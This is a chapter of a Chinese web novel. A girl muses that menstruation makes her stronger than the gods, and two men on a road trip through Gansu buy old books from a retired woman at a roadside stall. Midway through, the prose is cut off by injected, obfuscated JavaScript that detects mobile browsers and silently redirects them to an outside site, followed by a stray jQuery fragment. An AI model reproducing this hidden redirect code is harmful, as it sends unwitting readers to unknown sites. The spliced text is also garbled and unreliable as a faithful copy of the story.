你听说了吗？我竟然是神。我和阿姐说。
听谁说？
听我说的。
阿姐已经见了周公，还从与周公的应酬中抽空答我，声音含含糊糊。我怀疑她根本没听清我在说什么，也许等明天她清醒了我再向她托付这个秘密会比较好，但我实在已经憋不住，白天她一直在店里帮忙，周围都是大人，我找不到机会说。想来天亮了我们都会重复前一天的日程，我同样很难再找到机会说。
唯独现在是最好的时机。
不管她是不是身在梦中，总之我自顾自地继续讲我的事情。我说，我可能比神还厉害一点……比神厉害的，应该也是神吧？
可能吧……你怎么就比神厉害了？
我压低了声音，凑到她耳边说，我今天来那个了哦，我终于知道妈妈的黑色塑料袋里装的是什么了，她教我用了袋子里的东西。下午本来她要我跟她一起去拜神，每个初一我不是都要和她一起准备拜神用的点心吗？现在她说不用我帮忙了，来那个不能去。
阿姐应和我，是啊……来那个不能去拜的。
你不好奇为什么吗？我很好奇哦，我问了妈妈，妈妈说因为神讨厌那个，那个会让神的法力失效，那就白拜了，拜完也没办法发财平安还有读书聪明。
那我很厉害不是吗？我流出来的血，竟然能让一个万能的神瞬间失灵，我肯定是更厉害的神。
阿姐只是很长地嗯了一声，我认为她已经彻底睡着了。
我也只好睡觉。
……
第二天。谭霏玉和石含章从嘉峪关的酒店离开，开出市区以后上312国道。今天谭霏玉问石含章要不要换他开开，虽然他驾驶经验不算那么丰富，但这一路上几乎都是直路很好开，没什么难度，石含章说好。
于是对调了座位，这几天谭霏玉坐底盘这么高的车看外面也已经习惯了，适应良好。
谭霏玉坐熟人副驾的时候不是那种只知道睡觉的，因为知道司机开车很无聊，会强忍睡意找些话说。换石含章坐副驾了，对方竟也是这样，平时话还少一点，现在开始找话了。
石含章说：“昨天你给我念书，还说让我评价来着，结果我听着听着睡着了，不好意思。”
谭霏玉：“没关系，这项活动本来也是为了助眠……那你怎么评价？”
石含章：“声音很好听。”
“……”真是出人意料的评价，谭霏玉耳朵一红，但仍作波澜不惊状，“谁问你这个了？说一说故事吧。”
石含章于是正色道：“不知道你念到了哪里，我大概听到自称是神的小女孩进入梦境去了几百年前，工匠拉着她指着一个神台说这是你以后的家还让她坐上去试试时就睡过去了……因为只了解了个开头，我不好做出什么评价，但是仅从‘想知道后续’这一点来看，它暂时算是个吸引我的故事。”
谭霏玉直接剧透：“是哦，她真的是那个神台上的神明，她回到几百年前也不是在做梦，而是……”
石含章赶紧打断他：“好了你别说了。”
谭霏玉：“哈哈哈哈哈。”
笑完了，谭霏玉又问：“还有别的想法吗？”
石含章犹豫了一下，还是坚持说：“应该是有提及到一些女性困境，但我觉得我作为一个男的在日常生活中本来就没办法切身体会她们的不便之处，读这本书甚至也还没读完，就这么贸然下评论是不是有点太傲慢了？……等你给我念完吧，或者等它出版了我看完再说。”
谭霏玉：“你说得也有道理……好有原则啊石头哥。”
石含章又顿了顿。之前谭霏玉在他那里订房，他看身份证时有留意到对方和自己同龄但早自己五个月生，所以这一声“哥”，他要不要纠正……？听着倒是挺舒心的。
还是算了，这么细枝末节的东西有什么好纠正的。石含章想。我是怕他尴尬才不纠正的。
石含章又问：“话说那天听你打电话，作者好像也是男的吧，写这样的题材不会有蹭热度的嫌疑吗？”
谭霏玉：“作者是男的，不过他有四个姐姐。”
作者的家庭情况是人家的隐私，谭霏玉没有多说，但是……总之……也挺讽刺的，孟亦的老家和他一样在靠海但封闭的小城，他们家追男宝，前面一连生了四个女孩，最后生出了孟亦，孟亦成了男同性恋。
孟亦和姐姐们关系很好，青春期被“直男”骗时二姐找了几个小混混把那男的打了——虽然这并不值得提倡。长大后出柜，孟亦和他爸他叔伯之类的闹掰，但和姐姐们一直保持联系，和妈妈也偷偷保持联系，后来他爸死了，他和妈妈的联系也从偷偷改为光明正大。
用孟亦的话说，《一粒神》的其中一部分流淌着妈妈和姐姐的血脉，他看到了，他不一定完全感同身受，但他有写作的才能，那他就要写出来，被骂蹭热度就被骂吧，都写书了，就算不是这方面被骂，也会在别的地方全方位多角度被骂，不差这么几句骂了。
谭霏玉回答得言简意赅，不过这么一说石含章大概就懂了。
谭霏玉又说了一句很地狱的话：“没事的到时候就算被骂，大家也都是骂作者，不会有人骂编辑的。”
石含章：“……也是。”
主要大部分人看书也不会在意编辑是谁。
车继续行驶，这时间段国道上的车不算多，偶尔有些大货车超了他们。两旁依然荒凉，不过有一段路的行道树不再是光秃秃还没生出绿意的胡杨，有几棵缀着粉色花苞的树在漫漫黄色戈壁公路上特别显眼。
春天真的来了。
“欸等一下，”谭霏玉忽然发问，“你看前面那是什么？怎么有人在国道上摆摊？”
石含章定睛一看：“还真是。”
谭霏玉也把车停在路旁，石含章把狗牵下来。路旁荒地上停了一辆黑色的大G，后备厢开着，车旁堆了几个小型香蕉箱，支着一张小桌子，桌子上竟然摆了一些……书？！
一个戴墨镜的阿姨坐在桌子后面，还对他们招了招手。
谭霏玉上前去和阿姨打招呼：“阿姨您好，这是在……？”
阿姨摘了墨镜：“摆摊呢。”
谭霏玉：“卖书？”
“是啊，卖书，都是我自己的藏书，”阿姨站起来，又指了指旁边那几箱，“你们要是感兴趣都可以看看，什么书都有的……”她开始介绍。
谭霏玉感觉奇怪死了，他一边接过阿姨递过来的一本书，确实是旧书了，书页泛着黄，翻开来里面还有些划线和笔记，但保存得很好，边缘只是磨损却没有折角，一边忍不住问：“怎么会在这里摆摊啊？”
阿姨说：“退休了嘛，出来自驾游，就想顺便在路上卖点东西筹点路费。”
石含章问：“您一个人？”
阿姨也给他塞了一本，道：“是啊。”
黑白狗看到有书递过来，也好奇想凑过去嗅，石含章怕它把书给咬了，往回扯了扯狗绳。
“哎哟真可爱。”
黑白狗立刻坐好，仰头，一副随时待命准备被人摸的表情。阿姨看了石含章一眼：“不咬人吧？”
“不咬人。”
阿姨弯下腰摸了摸小狗脑袋。
石含章翻了翻阿姨递过来的书，他说话比较直白：“……您开这车看着也不像要筹路费的样子。”
阿姨边摸狗边爽朗大笑，笑完给他们解释前因后果：“有天看到新闻，说哪个老头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449621|168650||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老太死了，藏书全让孩子当废品卖了，看得我吓一跳……我也不知道哪天就死了，这些书带不走，还是趁着活着的时候转到有缘人手上吧。
“比较有价值的书我都捐图书馆博物馆了，这都是些闲书，你们看看有没有能看上的。”
谭霏玉很好奇：“那怎么不去闹市什么的，在这路边真的有人停下来买书吗？”
“你们不是停下来了吗？”阿姨笑道。
谭霏玉：“……确实。”
“哎呀，其实我都试过了，在路边摆比在闹市里摆更容易卖出去呢，一般人在这啥也没有的路上看到摆摊的都好奇，反倒是在什么市里摆还没隔壁卖淀粉肠的受欢迎，”阿姨又说，“而且在这条路开车自驾的很多都是文艺青年，下车买书的概率很高的。”
“……”被扫射的两个文艺青年你看看我我看看你，随后相视一笑。
两个人挑起了书，早上十点多的阳光很温和，打在人身上暖融融的。石含章拿了一本《普通逻辑》，封底印着“高等学校教材”“定价2.00元”，边上用很潇洒的字迹写着“八六年九月十日黄美英于师院”，阿姨看了他拿的书一眼，说：“这是我上大学的时候用的教材……我那时候是学中文的。”
“这么多年前的教材，保存得好好啊。”
黄美英阿姨颇为自得：“当然。”
石含章小声问谭霏玉：“你是不是也是学中文的？”
谭霏玉摇头：“不要有刻板印象。”
石含章：“那你是学什么的？”
谭霏玉：“禅与摩托车维修。”
石含章：“……”
谭霏玉：“我其实是学日语的……看不出来吧。”
说来可笑，当时正因为他是这个专业，反而比学中文和学编辑出版的更容易进出版社——尤其是学编辑出版的，毕业之后根本找不到出版社的工作，因为人家要其他专业背景的人才，而出版知识全都可以上岗之后边工作边学。
也因此他刚进社那段时间跟进的基本都是从日本引进的书，虽然所在部门是外国文学编辑室，但那时做的日本文学书也很少，反而做了一堆什么设计书摄影书，他不太感兴趣，争取了很久才转了部门专门做中文原创小说。
“确实看不太出来，我的刻板印象让我觉得学日语的不是二次元就是别的什么亚文化爱好者，”石含章想了想，又道，“不过好像也有迹可循。”
谭霏玉：“怎么说？”
石含章：“你听到我们乐队那个奇怪的名字时没有问我‘夜这星’是什么意思。”
谭霏玉：“哈哈哈哈哈，すみません。”
一边挑一边聊，谭霏玉抽了一本蓝白封面的台版旧《台北人》出来，爱不释手，问阿姨还有没有白先勇别的台版书，阿姨在箱子里没找到，说家里应该有，让谭霏玉加自己微信，下次回家了再给他寄。
石含章也挑了一本讲唐代建筑的书，准备付钱的时候阿姨说今天心情好免单了。
石含章：“这怎么行？”
黄美英阿姨：“你们的狗也让我玩了这么久，就当互免了呗。”阿姨用了互免这个很时髦的词。
石含章：“我们的狗本来也是免费……”说一半顿时觉得这句话怪怪，石含章没继续说，又想开大G的阿姨也不是真因为缺钱才卖书，再推辞显得做作，于是应下了。
谭霏玉也蹲下和狗玩，搓搓黑白狗的脑袋，搓得小狗耳朵乱晃。人类是一种对着小动物就会情不自禁变成夹子音的生物，就如此刻的谭霏玉，他正在对着狗说话：“哎呀小狗好厉害，帮爸爸省钱了。”
石含章觉得这句话也怪怪的。
但是……他还是决定不纠正了。